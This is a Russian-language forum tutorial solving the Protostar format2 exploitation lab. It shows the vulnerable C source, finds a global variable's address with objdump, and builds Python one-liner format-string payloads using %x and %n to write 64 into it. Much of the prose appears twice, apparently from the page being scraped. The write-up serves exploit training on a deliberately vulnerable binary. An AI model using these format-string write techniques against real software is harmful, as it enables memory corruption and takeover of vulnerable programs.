Доброго времени суток, посетители портала codeby. Продолжаем разбирать уязвимости форматных строк. И так мы ознакомились с перезаписью переменных, на этот раз мы будем перезаписывать переменные к конкретному значению. В глобальной области памяти.
Описание ExploitMe
Этот уровень переход от format1, тут показывается, как конкретные значения могут быть записаны в памяти.
Этот уровень находится в / opt / protostar / bin / format2
Исходный код
Решение
Вглядываясь в исходный код программы мы видим, что код особо не чем не отличается от предыдущего. Единственное что тут важно для нас это измененное условие в конструкции if. Теперь переменная target которая лежит в глобальной области памяти, она у нас лежит в секции .bss, потому что она не инициализирована. Т.е. в переменную не положили не какие данные. Должна принять данные, мы должны записать данные в эту переменную, число 64.
Как будем действовать ? ) Используем тот же прием, что и раньше, мы будем находить начало нашей строки формата в памяти.
Но для начало узнаем адрес переменной target.
Отлично адрес переменной получен "080496e4"
Теперь найдем нашу строку в памяти… И так
На выходе мы получаем вот такую вот картину.
Как оказалось наша строка лежит не так далеко…
Теперь когда мы знаем где лежит наша строка, попробуем что-нибудь записать в переменную target.
Видно, что нам удалось записать в переменную target данные и эта переменная стала равна 26. А нам нужно 64…
Тут нужно сказать, что спецификатор формата %n записывает количество байтов, которые уже были записаны функцией. Мы контролируем это. А теперь, чтобы записать определенное количество байт воспользуемся спецификаторами формата.
%d — Десятичное целое число со знаком
%i — Десятичное целое число со знаком
%u — Десятичное целое число без знака
Любой из этих трех спецификатор сгодится для данной задачи… И так положим в место третьего спецификатора формата %x наш выбранный нами спецификатор для записи…
117 очень много!!!
67 тоже много!! Но уже близко. Нужно 64. Значит 67-3=64. То, есть, получается нам нужно подставить %47d.
Отлично мы достигли нашей цели! На экране отобразилась строчка «you have modified the target », что свидетельствует нам, о том, что можно переходить на следующий уровень
Описание ExploitMe
Этот уровень переход от format1, тут показывается, как конкретные значения могут быть записаны в памяти.
Этот уровень находится в / opt / protostar / bin / format2
Ссылка скрыта от гостей
, VMИсходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
Решение
Вглядываясь в исходный код программы мы видим, что код особо не чем не отличается от предыдущего. Единственное что тут важно для нас это измененное условие в конструкции if. Теперь переменная target которая лежит в глобальной области памяти, она у нас лежит в секции .bss, потому что она не инициализирована. Т.е. в переменную не положили не какие данные. Должна принять данные, мы должны записать данные в эту переменную, число 64.
Как будем действовать ? ) Используем тот же прием, что и раньше, мы будем находить начало нашей строки формата в памяти.
Но для начало узнаем адрес переменной target.
Код:
objdump -t format2 | grep "target"
Отлично адрес переменной получен "080496e4"
Теперь найдем нашу строку в памяти… И так
Код:
python -c "print 'AAAA' + '%x.'*100" | ./format2
На выходе мы получаем вот такую вот картину.
Как оказалось наша строка лежит не так далеко…
Код:
python -c "print 'AAAA' + '%x.'*3" | ./format2
python -c "print 'AAAA' + '%x.'*4" | ./format2
Теперь когда мы знаем где лежит наша строка, попробуем что-нибудь записать в переменную target.
Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*3 + '%n'" | ./format2
Видно, что нам удалось записать в переменную target данные и эта переменная стала равна 26. А нам нужно 64…
Тут нужно сказать, что спецификатор формата %n записывает количество байтов, которые уже были записаны функцией. Мы контролируем это. А теперь, чтобы записать определенное количество байт воспользуемся спецификаторами формата.
%d — Десятичное целое число со знаком
%i — Десятичное целое число со знаком
%u — Десятичное целое число без знака
Любой из этих трех спецификатор сгодится для данной задачи… И так положим в место третьего спецификатора формата %x наш выбранный нами спецификатор для записи…
Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%100d' +'%n'" | ./format2
117 очень много!!!
Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%50d' +'%n'" | ./format2
67 тоже много!! Но уже близко. Нужно 64. Значит 67-3=64. То, есть, получается нам нужно подставить %47d.
Код:
python -c "from struct import pack; target=pack('I', 0x080496e4); print target + '%x.'*2 + '%47d' +'%n'" | ./format2
Отлично мы достигли нашей цели! На экране отобразилась строчка «you have modified the target », что свидетельствует нам, о том, что можно переходить на следующий уровень
Ссылка скрыта от гостей
.
Последнее редактирование: